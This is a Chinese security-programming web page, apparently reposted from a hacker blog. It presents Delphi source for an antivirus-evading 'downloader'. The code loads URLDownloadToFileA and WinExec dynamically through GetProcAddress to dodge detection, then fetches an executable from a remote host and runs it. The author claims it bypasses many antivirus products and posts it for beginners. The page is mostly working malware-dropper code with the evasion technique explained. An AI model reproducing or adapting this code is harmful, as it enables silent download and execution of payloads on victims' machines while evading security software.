频道栏目
首页 > 程序开发 > 综合编程 > 安全编程 > 正文
[免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者
2013-12-30 23:44:21      个评论    来源:K8拉登哥哥's Blog  
收藏   我要投稿
Delphi源码免杀之函数动态调用 实现免杀的下载者

自己编译这份代码看看 过N多杀软  没什么技术含量
只是发出来给不懂的人入入门 也防止有新人老是来问

ShellApi,URLMon 单元

//Delphi动态调用API函数
procedure TForm1.Button1Click(Sender: TObject);
var
   SourceFile:ansistring;
   DestFile :ansistring;
   down2:function(Caller: IUnknown; URL: PChar; FileName: PChar; Longint: DWORD; StatusCB: IBindStatusCallback): Longint; stdcall;
   exe2:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;

begin
    SourceFile:='http://172.16.126.152/UrlDown/k8team.exe';
    DestFile := 'f:\bbbaa.exe';

    //原函数  下载完就执行 典型的下载者 常用函数 是个杀软都会杀得你连路都不见
    //UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil);
    //WinExec(Pchar(DestFile),SW_SHOW);  //要和原函数对应

     //动态调用
    @Down2:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
    Down2(nil, PChar(SourceFile), PChar(DestFile), 0, nil);

    //动态调用
    @exe2:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
    exe2(PChar(DestFile),SW_SHOW);

end;

//=================================================================================================================

附上函数原型

URLDownloadToFile 函数

function URLDownloadToFile;              external UrlMonLib name 'URLDownloadToFileA';

  UrlMonLib = 'URLMON.DLL';
 
function URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall;

 
 WinExec 函数
 
function WinExec; external kernel32 name 'WinExec';

  kernel32  = 'kernel32.dll';

function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;
点击复制链接 与好友分享!回本站首页
相关TAG标签 函数 源码 动态
上一篇:[免杀] Delphi 内嵌ASM获取kernel32.dll的模块句柄 XP/Vista/WIN7以及X86/X64通吃
下一篇:[溢出]delphi overflow demo delphi缓冲区溢出例子+源码
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站